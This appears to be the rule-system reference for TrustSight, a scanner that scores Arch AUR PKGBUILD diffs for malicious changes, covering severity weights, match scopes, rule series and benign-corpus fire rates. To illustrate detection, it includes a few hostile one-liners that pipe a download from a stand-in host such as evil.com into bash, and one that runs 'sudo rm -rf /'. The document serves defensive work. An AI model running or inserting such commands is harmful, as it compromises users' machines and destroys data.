Rule System Reference¶
How the rule engine works: the fields a rule carries, how severity becomes weight, what the series prefixes mean, and which identifiers are reserved. Individual rule definitions live on the category pages; every rule id below links to its own.
TrustSight uses rules to detect structural signals in PKGBUILD diffs. Each rule contributes to the final score based on its severity weight, match target, and scope.
How scoring uses rules¶
The final score is computed from four signal sources. Rules are the primary source (Tier A):
Score formula:
base = sum(severity_weight for each fired rule)
base += source_bucket_modifiers (Tier B)
base += novelty_weights scaled by maturity (Tier C)
final = clamp(base, 0, 100)
If a FATAL rule fires, the score is immediately set to 100 regardless of all other signals.
How severity weight maps to risk¶
Each severity level carries a weight that reflects its information value: how often does this signal fire on benign packages versus malicious ones?
| Severity | Weight | Fire rate on benign corpus | Meaning |
|---|---|---|---|
| FATAL | 0 (hard-stop) | Never | Score immediately set to 100. Package is attempting to deceive the reviewer. |
| CRITICAL | 40 | Rare | Almost certainly malicious if triggered. curl pipe bash, sudo in functions. |
| HIGH | 25 | Low | Strong signal. Checksum manipulation, unexpected downloads. |
| MEDIUM | 15 | Moderate | Notable but not definitive. Install file changes. |
| LOW | 5 | High | Weak signal. Demoted from higher severity if corpus fire rate exceeds 30%. |
| INFO | 0 | Variable | Recorded for audit trail only. No score contribution. |
A CRITICAL rule on its own (weight 40) pushes a package into the FLAGGED range (21+). A single HIGH rule (weight 25) does the same. Two MEDIUM rules (15 + 15 = 30) also reach FLAGGED. The 20-point UNFLAGGED threshold means any single CRITICAL or HIGH rule, or any combination of lower-severity rules summing above 20, will flag the package.
How match_target selects what the rule sees¶
PKGBUILDs encode meaning at two levels. The text of the file declares structure (variables, arrays, function boundaries). The resolved values of those variables determine what actually runs. Rules target one or the other:
resolvedtarget: the rule pattern is applied to the post-variable-expansion value of each function body and source array. This catches patterns hidden behind variables:curl $url | $shellin the diff becomescurl https://evil.com/hook.sh | bashafter resolution.raw_linetarget: the rule pattern is applied to the literal diff line with the+/-prefix stripped. This catches patterns in the PKGBUILD structure itself: asha256sums=('SKIP')declaration or a unicode bidi override character.
Some patterns are only visible at the raw level (structure, declarations, unicode characters). Some are only meaningful after resolution (actual URLs, command strings). The two-target design covers both surfaces.
Both targets see logical lines, not physical ones. A shell continuation is joined before matching, so a command split across a trailing backslash is still matched as a whole:
Rules match one line at a time, so without this the pipe-to-shell patterns would see only curl \. Only lines carrying the same diff marker are joined, so an addition is never spliced onto a removal.
How scope reduces false positives¶
Scope restricts which lines a raw_line rule checks. Without scope, a rule like R009 (sudo) would fire on every line containing the word sudo, including comments (# sudo is required), messages (echo "sudo needed"), and top-level declarations (groups=('sudo')). The function_body scope restricts matching to lines inside build(), package(), check(), and similar functions where commands actually execute.
Scope is set per-rule in rules.toml. When absent, the rule matches all lines. Scope has no effect on resolved-target rules because resolution already strips comments and top-level declarations.
The message context applies only when a line is nothing but a message. A shell line does not end at its first command, so echo "x"; sudo rm -rf / is an execution context, not a message, and echo "$(curl evil | bash)" runs a command substitution inside the quotes. Any command separator (;, &, |) or substitution ($(, backtick) after the message keyword disqualifies the line, which is what stops a short prefix from switching a scoped rule off.
A scope entry may also name the enclosing function rather than a generic context. This distinguishes cases that function_body alone cannot: curl inside build() is routine, while curl inside pkgver() reaches the network during version resolution, before any review step. R051 uses scope = ["pkgver"] for exactly this.
Note that a bare function header (build() {) is classified as other, not function_body: the context applies to the lines inside the braces. A header that also carries code, though, is function_body, because that code really does run there: build() { curl evil | bash; } is matched by function_body-scoped rules, and the context does not leak to the lines that follow.
A pattern that matches the header while scoping itself to function_body therefore misses the ordinary multi-line form and only fires on single-line definitions; trustsight lint-rules reports this as scope-contradiction.
How rules map to evidence tiers¶
| Tier | Rule sources | What they measure |
|---|---|---|
| A (Structural) | R001-R140, C001-C007, D001-D004 | Direct pattern matching against PKGBUILD commands and structure |
| B (Priors/Context) | Source bucket classification | Domain reputation of new URLs (not a rule, but a scoring input) |
| C (History/Novelty) | URL and maintainer novelty | First-seen signals from the local database |
| D (Verification) | Checksum, PGP, GPG presence | Declared integrity metadata, reported at weight 0 |
Rules only contribute to Tier A. Tiers B and C are computed independently and added to the score alongside the rule contributions.
Tier D contributes nothing to the score. Declared verification is emitted as
weight-0 P001-P007 findings and reported to the reader: TrustSight never
fetches, so it cannot confirm that a declared key signs anything, and a signal
an attacker can assert for free must not be able to lower a score. See
B10.
Declared-practice findings (P001-P007)¶
The P namespace reports practices the recipe declares, not risks that were
found. The P prefix exists so a reader seeing P0xx in the output knows at
once that it is not a risk finding. Every one is INFO, weight 0, and checkable
by the reader against the file itself. Defined in src/trustsight/scoring.py;
rendered from DECLARED_REASONS.
| Id | Meaning |
|---|---|
P001 |
Checksums declared for all non-VCS sources (sha256sums) |
P002 |
validpgpkeys declared |
P003 |
A signature source accompanies a source, with PGP keys declared |
P005 |
Source pinned to a full commit hash (checksum_pinned) |
P006 |
Source pinned to a tag - the weaker pin, which R079 exists to flag because a tag can be repointed |
P007 |
Source hosted on a trusted forge over HTTPS (trusted_forge bucket) |
P004 is skipped. Only P002, P003 and P005 render unprompted by default:
five of the seven on every package would bury the risk findings, and the
default set is the ones a reader would find surprising by their absence. The
rest render under --verbose. The P namespace contrasts with R079/R096/R110:
those fire when a practice is changed, these report when one is present.
No P finding can lower a score - B10.
R-series (TOML-configurable detection rules)¶
Defined in ~/.config/trustsight/rules.toml. Loaded at runtime via load_rules() in src/trustsight/rules.py.
Each rule supports these fields:
| Field | Type | Description |
|---|---|---|
id |
string |
Rule identifier (R001-R013 core, R014/R016-R025 additional TOML, R039-R059 expanded TOML, R060+ code-emitted). |
name |
string |
Human-readable name. |
pattern |
string |
Python regex applied to the match target. |
severity |
string |
FATAL, CRITICAL, HIGH, MEDIUM, LOW, or INFO. |
category |
string |
Semantic category (network_execution, obfuscation, installer, privilege, network_usage, injection, unicode, integrity). |
match_target |
string |
"resolved" : apply to variable-resolved command strings after tokenization. "raw_line" : apply to raw diff lines after stripping the +/- prefix. |
scope |
list[string] |
(Optional, raw_line only) Restrict matching to line contexts (["function_body"], ["message"], ["other"]) or to a named PKGBUILD function (["pkgver"], ["package"], ["package_foo"]). When absent, matches all lines. |
added_only |
bool |
(Optional, raw_line only) Match only added (+) lines. Raw diff lines include removals, so without this a maintainer deleting a suspicious line raises the score. All R039+ rules set it. |
experimental |
bool |
(Optional) Skip the rule unless [rules] experimental = true in config.toml. Used for rules whose false-positive rate has not been measured against the benign corpus. |
include_comments |
bool |
(Optional) Also match comment lines, which are filtered out for every other rule. Only for rules whose target is the reader rather than the shell (R012, R013): a commented-out command does not run, but a comment is exactly where an injection or a hidden character lives. |
R001¶
See R001: Remote Script Execution.
R002¶
R003¶
See R003: Base64 Decode and Execute.
R004¶
R005¶
R006¶
See R006: Insecure Download Protocol.
R007¶
See R007: Install File Modification.
R008¶
See R008: Unexpected File Download.
R009¶
See R009: Privilege Escalation.
R010¶
See R010: Uses curl in PKGBUILD.
R011¶
See R011: Uses wget in PKGBUILD.
R012¶
See R012: Prompt Injection Detection.
R013¶
See R013: Unicode Bidi Override.
R014¶
R016¶
See R016: New Make/Opt/Check Dependency.
R017¶
See R017: Setuid/Setgid Permission.
R018¶
R019¶
See R019: Suspicious Environment Variable.
R020¶
See R020: Network connection attempt.
R021¶
See R021: Suspicious file write.
R022¶
See R022: Sensitive binary execution.
R023¶
See R023: Strace detection attempt (TracerPid check).
R024¶
See R024: Strace log truncated (possible flood evasion).
R025¶
Severity weights¶
Configured in config.toml [severity_weights]:
| Severity | Weight |
|---|---|
| FATAL | 0 (hard-stop score at 100) |
| CRITICAL | 40 |
| HIGH | 25 |
| MEDIUM | 15 |
| LOW | 5 |
| INFO | 0 |
FATAL rules¶
R012 and R013 are FATAL. They contribute 0 weight to the running total but immediately set final_score = 100 and risk level "Critical". No other rules are evaluated for weight contribution after a FATAL fires; the short-circuit is in calculate_score() at src/trustsight/scoring.py.
C-series (code, structural rules)¶
Generated by _structural_findings() in src/trustsight/analysis/structural.py. Not configurable via TOML. Fire based on structural comparisons between the diff and the post-diff state. Each one compares the before and after of the diff; a checksum that changed while the source stayed put, a URL swapped without a version bump; which a pattern matched against one line at a time cannot express. Comparisons use _pkgver_changed_in_diff() to detect pkgver= value changes.
_structural_findings() is shared by analyze_package() (live) and scan_diff() (offline replay), so the two pipelines cannot drift apart.
C001¶
See C001: Checksum Changed Without Source Change With Stable Version.
C002¶
See C002: Checksum Updated With Version Bump.
C003¶
See C003: Source URL Changed Without Version Bump.
C004¶
See C004: Checksum Removed For Unchanged Source.
C005¶
See C005: Binary Artifact From Untrusted Source.
C006¶
See C006: Maintainer Change With New Source Domain.
C007¶
See C007: Command Substitution In Source Array.
Expanded ruleset (R039+)¶
These rules roughly double the pattern-based detection surface. They are enabled by default, having been calibrated against a 3246-diff stratified benign corpus: fourteen fire on zero benign diffs, and every remaining hit was inspected individually; all but one were true positives. Enabling them costs 0.5 percentage points of zero-rate and leaves p95 unchanged.
The experimental flag remains supported for future additions. A rule carrying experimental = true is skipped unless config.toml sets:
Numbering jumps over R015, R026-R038 to keep the core and expanded ranges readable. R014 and R016-R025 shipped as TOML rules and are documented above; R015 and R026-R038 are reserved: they are referenced by nothing in the shipped config and must not be assigned casually, because a maintainer rule that reuses an id already present in a user's rules.toml would silently change what the user's override means.
Every raw_line rule below sets added_only = true.
R039¶
See R039: Eval With Dynamic Content.
R040¶
See R040: Shell -c With Dynamic Payload.
R041¶
See R041: Shell Network Redirection.
R042¶
See R042: Download Then Execute.
R043¶
R044¶
See R044: Interpreter One-Liner With Network.
R045¶
See R045: Binary Encoding Pipe.
R046¶
See R046: Source URL Uses IP Address.
R047¶
See R047: Source URL Uses Non-Standard Port.
R048¶
See R048: Source URL On Free Registrar TLD.
R049¶
See R049: Compiler Plugin Or Loader Override.
R050¶
See R050: Compiler Hardening Disabled.
R051¶
See R051: Network Access In pkgver.
R052¶
See R052: Dotfile Written To User Profile.
R053¶
See R053: Setuid Or Setgid Bit Set In Package Root.
R059¶
See R059: Setuid Or Setgid Bit Set Outside Package Root.
R054¶
See R054: Persistence Unit Outside Package Root.
R055¶
See R055: Git Clone With Variable Branch.
R056¶
See R056: Download Then Source.
R057¶
See R057: TLS Verification Disabled.
R058¶
See R058: Write Outside Package Root.
R060¶
See R060: Critical Build Function Modified.
R061¶
See R061: Hidden Network Fetch In Build.
Measured fire rates¶
Measured against the 3246-diff benign corpus with a 209,909-name dependency corpus. All D-series, R061-R064, and R081-R082 rules are on by default, as are the code-emitted rules R083-R131. These are false-positive rates: every hit is a benign package.
The numbers are enforced, not just recorded. scripts/calibration_gates.py replays the corpus against the shipped configuration in a temporary directory with a cold database, and fails the build if any scoring rule exceeds a 0.30 fire rate, if benign p95 reaches the malicious p5, if a weight-0 annotation starts scoring, or if a labelled attack fixture stops being detected. It runs on every push. Class C and Class D rules are absent from this table because they cannot fire on a stateless diff at all, which is itself one of the gates.
For a complete reference including the core and expanded rules, see Fire Rates.
| Rule | Severity | Fires | Rate | Read |
|---|---|---|---|---|
| D004 | HIGH | 0 | 0.00 % | No false positive across the 2084 corpus diffs that declare provides/replaces. |
| R062 | HIGH | 3 | 0.09 % | All mullvad-vpn-bin, which sets a setuid bit and enables a unit from post_install(). Real privileged behaviour, which is the point. |
| R063 | HIGH | 0 | 0.00 % | Zero, because it asks where the patch comes from rather than whether it is declared. The broad "not in source=()" form measured 2.13 %. |
| R064 | MEDIUM | 1 | 0.03 % | transset-df, a genuine https to http downgrade. |
| R065 | INFO | - | - | Not calibrated: fires on any recent update, which is inherently time-of-run dependent. |
| R066 | INFO | - | - | Not calibrated: fires on packages < 30 days old, which is a small and shifting set. |
| R067 | MEDIUM | - | - | Not calibrated: fires when the user's last analysis is > 1 year old, which varies per database. |
| R068 | INFO | - | - | Not calibrated: zero-weight metadata; context only. |
| R069 | HIGH | 1 | 0.03 % | Near-zero; matches the predicted rate. |
| R070 | HIGH/MED | 8 | 0.25 % | All HIGH (LD_ vars). No MEDIUM fires in corpus. |
| R071 | HIGH | - | TBD | Not corpus-measurable; requires live git history. |
| R072 | INFO | 515 | 15.87 % | INFO weight 0; not a scoring impact. |
| R074 | HIGH | 2/179 pkgs | 1.12 % | Measured via package-name scan with seeded DB. Fires on dosbox-x and electron36. |
| R075 | MEDIUM | 11 | 0.34 % | Measured with seeded DB (209,909-name seed). Well under the 30% gate. |
| D001 | HIGH | 5 | 0.15 % | Comfortably low for HIGH. All five are real package names that simply nothing else in the AUR depends on (kde-rounded-corners-x11, python2-gevent-eventemitter, udfclient-fuse3), not parser noise. |
| D002 | HIGH | 0 | 0.00 % | No false positive anywhere in the corpus. Bounded by D001, which it refines. |
| D003 | MEDIUM | 15 | 0.46 % | Almost all are git added to fetch submodules, the legitimate case the MEDIUM severity anticipates. |
| R060 | INFO | 694 | 21.4 % | Why it is INFO. No narrowing reaches triage quality (pkgver unchanged still leaves 11.6 %, a bump that also edits build() is 9.8 %), so it carries weight 0 and reports context instead of scoring. Harmless at that weight, hence on by default. |
| R061 | HIGH | 7 | 0.22 % | The hits are real build-time downloads (apple-fonts, ttf-ms-win-*, gamescope-nvidia), which is the behaviour the rule exists to surface rather than noise. |
| R076 | MEDIUM | 0 | 0.00 % | Needs both an unsafe literal version and its interpolation into a source URL. |
| R077 | HIGH | 1 | 0.03 % | A legitimate $HOME/.config/...log write from a post_upgrade. |
| R079 | HIGH/MED | 4 | 0.12 % | Maintainers tracking a moving patch branch under a fixed version, which is the shape the rule describes. |
| R080 | MEDIUM | 6 | 0.18 % | Schemes outside the shipped allowlist. |
| R084 | HIGH | 0 | 0.00 % | mktemp -d is excluded wholesale, so private scratch directories never count. |
| R087 | HIGH | 0 | 0.00 % | The one paste-host reference in the corpus is a gist download, which is R061's. |
| R085 | HIGH | 0 | 0.00 % | Reads the unit's ExecStart, not its filename. |
| R086 | INFO | 0 | 0.00 % | env was dropped after a sed expression read as a command position. |
| R088 | HIGH | 0 | 0.00 % | Deliberately the quietest of the persistence group. |
| R089 | INFO | 0 | 0.00 % | A benign diff with one or two hits cannot reach three distinct stages. |
| R106 | tiered | 0 | 0.00 % | With the shipped (empty) list and with a synthetic one. A positive control (github.com) fires on 1561 diffs, so the surface extraction is real. |
| R114 | MEDIUM | 4 | 0.12 % | Packages that legitimately ship pacman hooks. |
| R115 | MEDIUM | 0 | 0.00 % | An unchanged epoch never surfaces in a hunk. |
| R116 | HIGH/MED | 0 | 0.00 % | Related name shapes suppress; cold start cannot fire. |
| R117 | INFO | 0 | 0.00 % | Weight 0. Anchoring the check on an ANSI-C quote opener removed four regex end-anchor false positives. |
| R119 | HIGH | 0 | 0.00 % | Architecture checks are not probes. |
| R120 | HIGH | 0 | 0.00 % | A type check on decoded bytes, so encodings do not need enumerating. |
| R121 | HIGH | 0 | 0.00 % | Heredoc bodies are excluded from command scanning. |
| R123 | HIGH | 0 | 0.00 % | Command-position anchored; a client in makedepends is a declaration. |
| R124 | HIGH | 0 | 0.00 % | Still zero after the execution match was widened to a path with arguments. |
| R128 | HIGH | 0 | 0.00 % | A representative backdoor fixture goes from 25 to 50 with it. |
| R129 | HIGH | 3 | 0.09 % | One package resolving a redirect with curl at the top level, which really does fetch on a metadata refresh. |
| R130 | HIGH/MED/INFO | 6 | 0.18 % | Two introductions and four upstream key rotations. |
| R131 | HIGH/MED | 3 | 0.09 % | One wine package that genuinely disables FORTIFY_SOURCE. |
Getting D001 from 5.95 % to 0.15 % took two extractor fixes, both found by this measurement rather than by review:
- An unbounded fallback for unquoted array entries read shell fragments (
if,[[,!) out of apackage()body as dependency names. - Comments inside dependency arrays contributed every word of the note (
required,because,disabled).
Both are covered by regression tests in tests/test_deps_rules.py.
R062¶
See R062: Install Hook Fetches Or Executes.
R063¶
See R063: Patch Applied From Outside The Build Tree.
R064¶
See R064: Source URL Downgraded To HTTP.
Temporal context rules (R065-R067)¶
Defined in src/trustsight/analysis/temporal.py. They inspect git commit timestamps on
the AUR repository to surface temporal signals. None require a diff, so they
also fire on first-seen packages in _make_fresh_analysis() (in pipeline.py).
All three are on by default with no config toggle.
R065¶
R066¶
R067¶
See R067: Stale Package Revived.
Install and build context rules (R068-R070)¶
Defined in src/trustsight/analysis/build.py and src/trustsight/analysis/pipeline.py. They
inspect the diff for changes to security-critical build and install
infrastructure - hooks that run as root, signature verification that gets
dropped, environment variables that subvert the compiler.
R068¶
See R068: Install Hook Present.
R069¶
See R069: GPG Verification Removed.
R070¶
See R070: Build Environment Subversion.
Maintainer and capability rules (R071-R072)¶
R071¶
See R071: Untrusted Maintainer Takeover.
R072¶
See R072: Capability Density Anomaly.
Temporal metadata (R073) - not a scored finding¶
R073¶
See R073: Accelerated Release Cadence.
Naming rule (R074) - package-name typosquat¶
R074¶
See R074: Package-Name Typosquat.
Dependency-set expansion rule (R075)¶
R075¶
See R075: Dependency-Set Expansion.
Install and build context rules (R081-R082)¶
Defined in src/trustsight/analysis/build.py. They inspect install hooks and
build-function content for additional risk signals. Both graduated from experimental
to enabled by default in v0.11.0 with zero false positives on the 3243-diff benign corpus.
R081¶
See R081: Foreign Package Manager In Install Hook.
R082¶
See R082: Shell Obfuscation Density.
D-series dependency rules¶
Defined in src/trustsight/analysis/dependencies.py, not in rules.toml. They compare the
dependency arrays before and after the diff and consult the local database, so
they cannot be expressed as a pattern over a single line.
They also have to bypass the engine's own filtering: rules.py strips
depends, makedepends, optdepends, and checkdepends lines before any
pattern runs, which is why extraction lives in src/trustsight/deps.py.
All D-series rules are enabled by default since v0.7.0. Disable them
individually under [experimental_rules].
D001¶
See D001: Novel Dependency Added.
D002¶
See D002: Typosquatted Dependency.
D004¶
See D004: Dependency Hijack Via Provides.
D003¶
See D003: New Network-Using Makedepends.
Network-surface rules (R076, R079, R080, R087, R123, R129)¶
These six ask one question in different places: what does this recipe reach over the network, in which direction, and when.
R076¶
See R076: Version-In-URL Injection.
R079¶
See R079: Moved Git Ref.
R080¶
See R080: Exotic Source Protocol.
R087¶
See R087: Upload To Paste Or File-Drop Host.
R123¶
See R123: Covert Egress.
R129¶
See R129: Parse-time Network Fetch.
Install-path persistence (R077, R084, R085, R088, R114, R128)¶
One shared write-target resolver backs this group (analysis/persistence.py):
install/cp/mv/ln destinations including -t DIR, > redirects, and
the verb-substitution forms tee, dd of=, mkdir -p, touch, rsync and
sed -i. Every match is command-position anchored, so a quoted string such as
'cp x ~/.zshrc' never reads as a write.
R077¶
See R077: Write To User Home Or RC.
R084¶
See R084: World-Writable Staging.
R085¶
See R085: Systemd ExecStart From Runtime-Writable Path.
R088¶
See R088: Hidden Drop.
R114¶
See R114: Pacman Hook Installed.
R128¶
See R128: Build Writes Outside Staging Root.
Reconstruction and delivery (R117 to R124, R127, R132, R136 to R140)¶
R117¶
See R117: Obfuscated Literal Reconstructed.
R132¶
See R132: Indirect Command Expansion.
R118¶
See R118: Embedded Binary In Tree.
R119¶
See R119: Anti-Analysis Check.
R120¶
See R120: Reconstructed Executable Payload.
R121¶
See R121: Build-time Generation Then Execution.
R122¶
See R122: Archive Trailer Anomaly.
R124¶
R127¶
See R127: Indirect Remote Execution.
R136¶
See R136: Committed File Executed Without Declaration.
R137¶
R138¶
See R138: Downloaded Source File Executed.
R139¶
See R139: Service ExecStart Targets Undeclared Binary.
R140¶
See R140: PATH Injection With Undeclared Directory.
Composition (R086, R089)¶
Both are annotations. Neither adds weight, so neither can turn an UNFLAGGED package into a flagged one on its own.
R086¶
See R086: Host Reconnaissance.
R089¶
See R089: Attack-Chain Composition.
Integrity and trust (R130, R131)¶
R130¶
See R130: Signing Key Set Changed.
R131¶
See R131: Build Flags Weakened.
Class B: declaration-scope rules (R115, R116)¶
R115¶
R116¶
See R116: Provides/Replaces Scope Expansion.
Class C: longitudinal rules (R083, R094 to R098, R102)¶
Class C rules do not read a diff. They read PropertyBreak records from the
corpus property layer: a value that held for many consecutive observations and
then changed. Every one of them is silent on a cold database by construction,
because the first observation of a property only inserts it.
The [longitudinal] stability_floor (default 10) is the gate: a value must hold
at least that many consecutive observations before a change is reported at all.
Above the floor the weight ramps logistically, reaching roughly 0.9 by about 40
observations.
R083¶
See R083: Long-Stable Property Changed.
R094¶
See R094: Security-Relevant Build Flag Change.
R095¶
See R095: Dependency Vendored Into Source.
R096¶
See R096: Source Host Changed.
R097¶
See R097: Version Scheme Changed.
R098¶
See R098: Package Description Changed.
R102¶
See R102: Build System Changed.
Class D: corpus rules (R071, R090, R092, R093, R100, R101, R105, R107, R108, R110, R111, R112, R125, R126)¶
Class D rules describe the corpus, not a package. They run once per metadata
cycle in trustsight full-aur, after the per-package loop, and each returns one
finding per cluster, with the members in params.members. They are silent
without a prior snapshot: the calibration gate is
fire_rate(no_baseline) == 0.
R071¶
See R071: Untrusted Maintainer Takeover (corpus path).
R090¶
See R090: Ownership Transition.
R092¶
See R092: Mass Adoption.
R093¶
See R093: Orphan/Adoption Dependency.
R100¶
See R100: Shared Source Repository.
R101¶
See R101: Name/Host Consensus Divergence.
R105¶
R107¶
See R107: Transitive Exposure.
R108¶
See R108: Maintainer Baseline Deviation.
R110¶
See R110: Name/Repo Divergence.
R111¶
See R111: Transitive Orphan Exposure.
R112¶
See R112: Dependency Centrality.
R125¶
See R125: Introduction Rate Deviation.
R126¶
Class E: indicators of compromise (R106)¶
R106¶
See R106: Known Indicator of Compromise.
Not currently a rule¶
- R073 (release cadence) is metadata on the analysis record, not a scored finding. See R073.
- R103 and R109 describe the ruleset's ceiling rather than a detection. See the novelty ceiling.
The R-series identifier space is not contiguous. Reserved ids appear nowhere in the shipped config or the code-emitted rule set:
R015,R026-R038: held apart so the core and expanded ranges stay readable, and reassigning them could clash with userrules.tomloverrides.R078,R091,R099,R103-R104,R109,R113: unassigned in the current shipped configuration.R103/R109are claimed above as the novelty ceiling; the rest are simply unused and may be returned to service when a detection needs them.
Benchmark performance¶
Measured against the TrustSight test corpus.
Two rows predate a ruleset expansion
The recall rows above were measured while observation_count was never populated, so Tier C novelty contributed zero to every score (see Cold Start and Maturity), and before the R039+ expanded rules or C004-C007 shipped. The three distribution rows below are re-measured by the calibration gates against the current 3,246-diff corpus on every push.
| Rule | Recall | Notes |
|---|---|---|
| CRITICAL class (all) | 100 % | Every CRITICAL-class sample detected. |
| R012 (prompt injection) | 17 % | Tripwire; catches obvious patterns only. Low recall is intentional. |
| R013 (unicode bidi) | 88 % | Misses some bidi variants. |
| Benign zero-rate | 69.1 % | Percentage of benign diffs scoring 0. |
| Benign p95 | 45 | 95th percentile score on benign corpus. |
| CRITICAL p5 | 60 | 5th percentile score on CRITICAL-class corpus. |